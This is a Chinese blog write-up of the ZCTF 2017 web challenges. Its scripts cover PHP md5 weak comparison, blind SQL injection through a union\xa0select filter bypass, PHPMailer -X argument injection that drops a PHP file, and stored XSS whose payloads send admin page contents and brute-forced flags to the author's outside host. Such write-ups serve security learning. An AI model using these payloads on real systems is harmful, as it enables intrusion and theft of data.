由於博客遷移,本博客短期內會繼續同步更新,
本文新博客地址:http://bendawang.site/article/ZCTF2017-WEB-Writeup
web-1
進去掃一下目錄發現有備份文件如下,
<?php
$flag = $_GET['flag'];
if ($flag != '15562') {
if (strstr('zctf123', 'zctf')) {
if (substr(md5($flag),8,16) == substr(md5('15562'),8,16)) {
die('ZCTF{#########}');
}
}
}
die('ha?')
?>
簡單閱讀時候發現一個雙等比較,那麼看看等號後面的值是個0e開頭的值,也就是一個弱類型比較了,爆破就好了,代碼如下:
注意這裏0e後面的值一定要是0-9,應該能夠秒出答案的。
import hashlib
b='-=[],./;"1234567890abcdefghijklmnoprstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
def find(str1):
if hashlib.md5(str1).hexdigest()[8:10]=='0e':
flag=0
for i in hashlib.md5(str1).hexdigest()[10:24]:
if i>'9':
flag=1;
break
if flag==0:
print str1
input("success")
if(len(str1)>8):
return
else:
for i in b:
find(str1+i)
if __name__ == '__main__':
find(a)
web-2
這裏進去看到一個網站,簡單掃了掃目錄也沒發現什麼問題,後來在contact.php那裏的表單提交處發現了一個可以提交東西的地方並且有比較明確的返回,然後大概猜測是個xss,多次嘗試之後發現很多東西都被過濾了,觀察同源策略,目測只能是使用script標籤,但是過濾規則相當嚴格,折騰很久之後想到了用sourceMappingURL,這個東西恰好前段時間寫博客調試js的時候用到過了,主要是用於方便調試的,有興趣的可以自己去谷歌學習下。另外就是題目剛開始過濾了冒號無法使用http://
,後來好像有修改了,放開了過濾,不過通過//www.XXXXXX.xip,io
它會默認爲http協議,這樣就能繞開過濾了,下面是截圖
web-3
首先是apk一開始是一個登陸框,經過逆向,發現登陸網址,以及apk向網址發送的加密算法,有了加密算法,我們就可以僞造成apk向網址發送請求了,接下來就是注入了,同樣是被瘋狂過濾,但是發現服務器過濾了union select
,但是二者分開單獨都沒有被過濾,所以尋找代替空格的特殊字符,發現就只有union%a0select
沒有被過濾,寫代碼的時候注意替換成union\xa0select
,之後通過order by判斷有3個字段,然後發現過濾無法查詢系統表,也無法獲取表名,猜測表名是password和username,這兩個單詞也都被過濾了,無法獲取表名,想到通過join引入新查詢組合替換表名,但是這個時候發現小括號被過濾了,此路不通,換個思路,wargame.kr
的zairo有個思路是通過聯合查詢然後根據第幾列排序,由於只顯示查詢結果的第一行的值,就可以根據這個回顯來判斷這第幾列上值的大小關係然後爆破結果。
即例如我輸入如下:
admin' union\xa0select 1,2,'a' order by 3 asc#
第三列是密碼所在的列,如果回顯是2,說明密碼第一位大於a
,否則說明第一位小於或等於a
,如此逐位爆破密碼即可。腳本如下:
import requests
r=requests.session()
def encrypto(data):
data=data[::-1]
key = '1470'
result = []
for i in range(len(data)):
tmp = ord(key[i%len(key)]) ^ ord(data[i])
result.append(tmp)
return ''.join(['%.2x' % i for i in result])
def getpassword():
ans=""
for i in xrange(32):
for j in xrange(30,127):
username = "admin' union\xa0select 1,2,'"+ans+chr(j)+"' order by 3 asc#"
#print username
password = "1"
param={
"username":encrypto(username),
"password":encrypto(password)
}
result=r.post("http://58.213.63.30:10005/",data=param)
#print result.content
if "admin" in result.content:
break
ans+=chr(j-1)
print ans
getpassword() #得到密碼hash是 5af1ab27b1be8bb8e39bdf98cd2cfce4 解出來 CleverBoy123
拿到密碼之後登陸進去發現有個可以讓你向服務器提交一堆關於email的參數,聯想到之前的phpmailer的漏洞,也懶得多想先隨便寫個php試試,後來看到官方hint說根目錄不可寫,那麼掃一下目錄發現存在一個uploads目錄,往裏面寫吧,一寫東西立馬就返回了flag。最後代碼如下:
# encoding:utf-8
import requests
r=requests.session()
def encrypto(data):
data=data[::-1]
key = '1470'
result = []
for i in range(len(data)):
tmp = ord(key[i%len(key)]) ^ ord(data[i])
result.append(tmp)
return ''.join(['%.2x' % i for i in result])
def getpassword():
ans=""
for i in xrange(32):
for j in xrange(30,127):
username = "admin' union\xa0select 1,2,'"+ans+chr(j)+"' order by 3 asc#"
#print username
password = "1"
param={
"username":encrypto(username),
"password":encrypto(password)
}
result=r.post("http://58.213.63.30:10005/",data=param)
#print result.content
if "admin" in result.content:
break
ans+=chr(j-1)
print ans
#getpassword() #得到密碼hash是 5af1ab27b1be8bb8e39bdf98cd2cfce4 解出來 CleverBoy123
def next():
r=requests.session()
param1={
"username":encrypto("admin"),
"password":encrypto("CleverBoy123")
}
result1=r.post("http://58.213.63.30:10005/",data=param1)
param={
"username":encrypto("admin"),
"password":encrypto("ClerverBoy123"),
"mail":encrypto("aaa( -X/var/www/html/upload/bendawang.php )@qq.com"),
"title":encrypto("bendawang"),
"body":encrypto("bendawang")
}
header={"Cookie":result1.headers['set-cookie']}
result=r.post("http://58.213.63.30:10005/mail.php",data=param,headers=header)
print result.content
result=r.get("http://58.213.63.30:10005/upload/bendawang.php")
print result.content
next()#zctf{c20cd895e09260b709fd3537361da181}
web-4
講道理這道題服務器bot背鍋好吧。
這道題登陸進去發現在profile.php下面nick輸入框裏面存在xss注入,會在index.php裏面回顯觸發,過濾一些東西但是都能雙寫繞過不影響,加上bugscan那裏可以提交一個鏈接給管理員訪問,接下來就是想辦法xss管理員的cookie或是其他東西,構造一個html如下:
<html>
<head>
<script src="jquery-3.1.1.js"></script>
</head>
<body>
<form action="http://58.213.63.30:10003/checkProfile.php" method="POST" id="profile" enctype="multipart/form-data">
<input class="form-control" name="nick" id="nick" />
<input class="form-control" name="age" id="age" />
<input class="form-control" name="address" id="address" />
</form>
<script>
$("form input:eq(0)").val("\<scriscriptpt src=http:\/\/104.160.43.154\/a.js\>");
$("form input:eq(1)").val("123");
$("form input:eq(2)").val('\<\/scrscriptipt\>');
$("form").submit();
window.location.href="http://58.213.63.30:10003/index.php";
</script>
</body>
</html>
然後在vps上放置的a.js如下:
$.get("http://58.213.63.30:10003/index.php",function(data,status){
$.get("http://bendawang.site/?a="+escape(data));
})
這樣通過修改js,就能訪問管理的各項信息,發現管理沒有cookie返回,note也沒有數據,之後x到的後臺進去看到了大家的payload,發現有人在search下面做文章,想到note沒東西可以去search那裏搜索,在寫個腳本爆破搜索試試,這是在後臺上看到的大家payload,當時直接拿過來用了
<html>
<head>
<script src="jquery-3.1.1.js"></script>
</head>
<body>
<script>
tab="0123456789abcdefghijklmnopqrstuvwxyz}"
str=''
$.ajaxSettings.async=false
while(true){
for(i=0;i<tab.length;i++){
//console.log(tab[i]);
flag=false
x=$.get('http://58.213.63.30:10003/search.php?keywords=zctf{'+str+tab[i]);
if(x.status==404) flag=true;
if(!flag) break;
}
str+=tab[i];
console.log(str);
if(tab[i]=='}') break;
}
$.get("http://bendawang.site/?a="+escape(str))
</script>
</body>
</html>
不過最後bot也沒有臨幸我,沒能拿到flag,不過講道理這個鍋不背。